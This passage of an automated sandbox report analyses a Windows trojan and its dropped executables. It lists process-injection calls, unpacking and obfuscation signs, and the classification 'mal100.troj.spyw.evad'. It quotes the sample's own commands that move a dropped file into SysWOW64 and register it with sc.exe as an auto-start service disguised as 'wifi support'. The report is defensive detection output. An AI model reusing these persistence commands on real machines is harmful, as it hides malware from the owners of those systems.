Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_004016FD NtMapViewOfSection,NtMapViewOfSection, 22_2_004016FD
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_0040158E NtMapViewOfSection,NtMapViewOfSection, 22_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_004015A6 NtMapViewOfSection,NtMapViewOfSection, 22_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_004015BC NtMapViewOfSection,NtMapViewOfSection, 22_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0574EF00 NtUnmapViewOfSection, 31_2_0574EF00
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0574EFE0 NtAllocateVirtualMemory, 31_2_0574EFE0
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0574EFD8 NtAllocateVirtualMemory, 31_2_0574EFD8
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0574EFB3 NtAllocateVirtualMemory, 31_2_0574EFB3
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0574EEFB NtUnmapViewOfSection, 31_2_0574EEFB
PE file contains executable resources (Code or Archives)
Source: cz2ZyeL2Zd.exe Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 97B8.exe.13.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: AEFA.exe.13.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: BFF4.exe.13.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: D830.exe.13.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: EC9F.exe.13.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 2B8.exe.13.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: icgujuh.13.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: rljdetbq.exe.26.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: AEFA.exe.13.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: B729.exe.13.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
Source: B729.exe.13.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: cz2ZyeL2Zd.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\svchost.exe File created: C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@37/25@67/15
Source: C:\Users\user\AppData\Local\Temp\2B8.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: cz2ZyeL2Zd.exe Virustotal: Detection: 33%
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\cz2ZyeL2Zd.exe "C:\Users\user\Desktop\cz2ZyeL2Zd.exe"
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Process created: C:\Users\user\Desktop\cz2ZyeL2Zd.exe "C:\Users\user\Desktop\cz2ZyeL2Zd.exe"
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: unknown Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown Process created: C:\Users\user\AppData\Roaming\icgujuh C:\Users\user\AppData\Roaming\icgujuh
Source: C:\Users\user\AppData\Roaming\icgujuh Process created: C:\Users\user\AppData\Roaming\icgujuh C:\Users\user\AppData\Roaming\icgujuh
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\5D68.exe C:\Users\user\AppData\Local\Temp\5D68.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\EC9F.exe C:\Users\user\AppData\Local\Temp\EC9F.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\2B8.exe C:\Users\user\AppData\Local\Temp\2B8.exe
Source: C:\Windows\System32\svchost.exe Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\1F0B.exe C:\Users\user\AppData\Local\Temp\1F0B.exe
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\rhrovez\
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\rljdetbq.exe" C:\Windows\SysWOW64\rhrovez\
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create rhrovez binPath= "C:\Windows\SysWOW64\rhrovez\rljdetbq.exe /d\"C:\Users\user\AppData\Local\Temp\2B8.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Windows\SysWOW64\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process created: C:\Users\user\AppData\Local\Temp\1F0B.exe C:\Users\user\AppData\Local\Temp\1F0B.exe
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" description rhrovez "wifi internet conection
Source: C:\Windows\SysWOW64\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Process created: C:\Users\user\Desktop\cz2ZyeL2Zd.exe "C:\Users\user\Desktop\cz2ZyeL2Zd.exe" Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\5D68.exe C:\Users\user\AppData\Local\Temp\5D68.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\EC9F.exe C:\Users\user\AppData\Local\Temp\EC9F.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Process created: C:\Users\user\AppData\Roaming\icgujuh C:\Users\user\AppData\Roaming\icgujuh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process created: C:\Users\user\AppData\Local\Temp\1F0B.exe C:\Users\user\AppData\Local\Temp\1F0B.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\5D68.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3752:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5528:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:5736:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:956:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6052:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Command line argument: \H 22_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Command line argument: E6B 22_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Command line argument: E6B 22_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Command line argument: E6B 22_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Command line argument: E6B 22_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Command line argument: \H 22_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Command line argument: E6B 22_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Command line argument: E6B 22_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Command line argument: E6B 22_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Command line argument: E6B 22_2_0041CB7B
Source: 1F0B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: 1F0B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: 31.0.1F0B.exe.de0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: 31.0.1F0B.exe.de0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: 31.0.1F0B.exe.de0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: 31.0.1F0B.exe.de0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: 31.2.1F0B.exe.de0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: 31.2.1F0B.exe.de0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: 31.0.1F0B.exe.de0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: 31.0.1F0B.exe.de0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: 31.0.1F0B.exe.de0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: 31.0.1F0B.exe.de0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Cryptographic APIs: 'CreateDecryptor'
Source: C:\Windows\System32\svchost.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\svchost.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: cz2ZyeL2Zd.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\hatisicovapehe\p.pdb source: 5D68.exe, 5D68.exe, 00000016.00000000.378270420.0000000000401000.00000020.00020000.sdmp, 5D68.exe, 00000016.00000002.398093706.0000000000409000.00000020.00020000.sdmp, 5D68.exe.13.dr, ecgujuh.13.dr
Source: Binary string: C:\kekerotepuci_tilid-75-saworeka23-tomadur\6 sedotajo58_fita.pdb source: D830.exe.13.dr
Source: Binary string: 9C:\pofecojuha\web\butasagit.pdb source: 2B8.exe.13.dr, rljdetbq.exe.26.dr
Source: Binary string: C:\hexijomopeg-vob49\facabuyezuvet.pdb source: 97B8.exe.13.dr
Source: Binary string: YC:\xexirujecutayo.pdb source: AEFA.exe.13.dr
Source: Binary string: C:\besunutigubili\tik.pdb source: cz2ZyeL2Zd.exe, icgujuh.13.dr
Source: Binary string: C:\pofecojuha\web\butasagit.pdb source: 2B8.exe.13.dr, rljdetbq.exe.26.dr
Source: Binary string: FC:\tiz_simor\83_tazagukodofixe87\jusilirow94.pdb source: BFF4.exe.13.dr
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb source: 8FB8.exe.13.dr
Source: Binary string: C:\liziza-care-hozutuwikovap_tivohatudid\xemiwani23\d.pdb source: EC9F.exe.13.dr
Source: Binary string: ^C:\kekerotepuci_tilid-75-saworeka23-tomadur\6 sedotajo58_fita.pdb source: D830.exe.13.dr
Source: Binary string: C:\tiz_simor\83_tazagukodofixe87\jusilirow94.pdb source: BFF4.exe.13.dr
Source: Binary string: C:\xexirujecutayo.pdb source: AEFA.exe.13.dr
Source: Binary string: %C:\liziza-care-hozutuwikovap_tivohatudid\xemiwani23\d.pdb source: EC9F.exe.13.dr
Source: Binary string: VC:\hatisicovapehe\p.pdb source: 5D68.exe, 00000016.00000000.378270420.0000000000401000.00000020.00020000.sdmp, 5D68.exe, 00000016.00000002.398093706.0000000000409000.00000020.00020000.sdmp, 5D68.exe.13.dr, ecgujuh.13.dr

Data Obfuscation:

barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Unpacked PE file: 23.2.EC9F.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Unpacked PE file: 26.2.2B8.exe.400000.0.unpack
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Unpacked PE file: 22.2.5D68.exe.400000.0.unpack .text:ER;.data:W;.pamicak:W;.dos:W;.modav:W;.nugirof:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Unpacked PE file: 23.2.EC9F.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Unpacked PE file: 26.2.2B8.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
.NET source code contains method to dynamically call methods (often used by packers)
Source: 1F0B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 31.0.1F0B.exe.de0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 31.0.1F0B.exe.de0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 31.2.1F0B.exe.de0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 31.0.1F0B.exe.de0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 31.0.1F0B.exe.de0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 43.0.1F0B.exe.1e0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 43.0.1F0B.exe.1e0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 43.0.1F0B.exe.1e0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 43.2.1F0B.exe.1e0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 0_2_02CA3C66 push esi; ret 0_2_02CA3C7C
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 0_2_02CA3C01 push esi; ret 0_2_02CA3C7C
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_00401880 push esi; iretd 3_2_00401893
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_2_00402E94 push es; iretd 3_2_00402EA0
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 3_1_00402E94 push es; iretd 3_1_00402EA0
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_00401880 push esi; iretd 18_2_00401893
Source: C:\Users\user\AppData\Roaming\icgujuh Code function: 18_2_00402E94 push es; iretd 18_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: 22_2_00422368 push eax; ret 22_2_00422386
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_004139B0 push eax; ret 23_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D33C00 push eax; ret 23_2_02D33C2E
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Code function: 26_2_02BE1283 push ds; ret 26_2_02BE1284
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Code function: 26_2_02BE3A79 push 0000002Bh; iretd 26_2_02BE3A7F
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Code function: 26_2_047C9FBB push edi; iretd 26_2_047C9FBF
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0573C502 push E80B905Eh; ret 31_2_0573C509
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05732588 push ecx; retf 31_2_057325FC
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0573D4EA push esp; iretd 31_2_0573D4F1
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0573CF78 pushfd ; retf 31_2_0573CF79
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0573CF38 pushad ; retf 31_2_0573CF39
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0574C6D2 push edi; retn 0040h 31_2_0574C6D4
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_0574B97A push 0000001Ah; retf 31_2_0574B97C
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05A16506 push ecx; iretd 31_2_05A1650C
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Code function: 31_2_05A13556 push cs; retf 31_2_05A1355F
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress, 23_2_0040C2E0
Binary contains a suspicious time stamp
Source: 1F0B.exe.13.dr Static PE information: 0xBDC2F328 [Thu Nov 20 00:47:36 2070 UTC]
PE file contains sections with non-standard names
Source: AEFA.exe.13.dr Static PE information: section name: .wibobah
Source: B729.exe.13.dr Static PE information: section name: .ctors
Source: BFF4.exe.13.dr Static PE information: section name: .himav
Source: 5D68.exe.13.dr Static PE information: section name: .pamicak
Source: 5D68.exe.13.dr Static PE information: section name: .dos
Source: 5D68.exe.13.dr Static PE information: section name: .modav
Source: 5D68.exe.13.dr Static PE information: section name: .nugirof
Source: ecgujuh.13.dr Static PE information: section name: .pamicak
Source: ecgujuh.13.dr Static PE information: section name: .dos
Source: ecgujuh.13.dr Static PE information: section name: .modav
Source: ecgujuh.13.dr Static PE information: section name: .nugirof
Source: initial sample Static PE information: section name: .text entropy: 7.99718561212
Source: initial sample Static PE information: section name: .text entropy: 6.86420375863
Source: initial sample Static PE information: section name: .text entropy: 6.86420375863
Source: 1F0B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs High entropy of concatenated method names: '.cctor', 'zH0HRtC1TQ', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 1F0B.exe.13.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'e0KvAJ04t7', '.cctor', 'tkJiqTkevvhouv4Lnq', 'wb1JDJ9abSmQ04uQSy', 'gjE9MB6RZR53VLvMob', 'MAoOSKcqg8B5IDu1o3'
Source: 31.0.1F0B.exe.de0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs High entropy of concatenated method names: '.cctor', 'zH0HRtC1TQ', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 31.0.1F0B.exe.de0000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'e0KvAJ04t7', '.cctor', 'tkJiqTkevvhouv4Lnq', 'wb1JDJ9abSmQ04uQSy', 'gjE9MB6RZR53VLvMob', 'MAoOSKcqg8B5IDu1o3'
Source: 31.0.1F0B.exe.de0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs High entropy of concatenated method names: '.cctor', 'zH0HRtC1TQ', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 31.0.1F0B.exe.de0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'e0KvAJ04t7', '.cctor', 'tkJiqTkevvhouv4Lnq', 'wb1JDJ9abSmQ04uQSy', 'gjE9MB6RZR53VLvMob', 'MAoOSKcqg8B5IDu1o3'
Source: 31.2.1F0B.exe.de0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'e0KvAJ04t7', '.cctor', 'tkJiqTkevvhouv4Lnq', 'wb1JDJ9abSmQ04uQSy', 'gjE9MB6RZR53VLvMob', 'MAoOSKcqg8B5IDu1o3'
Source: 31.2.1F0B.exe.de0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs High entropy of concatenated method names: '.cctor', 'zH0HRtC1TQ', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 31.0.1F0B.exe.de0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs High entropy of concatenated method names: '.cctor', 'zH0HRtC1TQ', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 31.0.1F0B.exe.de0000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'e0KvAJ04t7', '.cctor', 'tkJiqTkevvhouv4Lnq', 'wb1JDJ9abSmQ04uQSy', 'gjE9MB6RZR53VLvMob', 'MAoOSKcqg8B5IDu1o3'
Source: 31.0.1F0B.exe.de0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs High entropy of concatenated method names: '.cctor', 'zH0HRtC1TQ', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 31.0.1F0B.exe.de0000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'e0KvAJ04t7', '.cctor', 'tkJiqTkevvhouv4Lnq', 'wb1JDJ9abSmQ04uQSy', 'gjE9MB6RZR53VLvMob', 'MAoOSKcqg8B5IDu1o3'
Source: 43.0.1F0B.exe.1e0000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'e0KvAJ04t7', '.cctor', 'tkJiqTkevvhouv4Lnq', 'wb1JDJ9abSmQ04uQSy', 'gjE9MB6RZR53VLvMob', 'MAoOSKcqg8B5IDu1o3'
Source: 43.0.1F0B.exe.1e0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs High entropy of concatenated method names: '.cctor', 'zH0HRtC1TQ', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 43.0.1F0B.exe.1e0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'e0KvAJ04t7', '.cctor', 'tkJiqTkevvhouv4Lnq', 'wb1JDJ9abSmQ04uQSy', 'gjE9MB6RZR53VLvMob', 'MAoOSKcqg8B5IDu1o3'
Source: 43.0.1F0B.exe.1e0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs High entropy of concatenated method names: '.cctor', 'zH0HRtC1TQ', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 43.0.1F0B.exe.1e0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs High entropy of concatenated method names: '.cctor', 'zH0HRtC1TQ', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
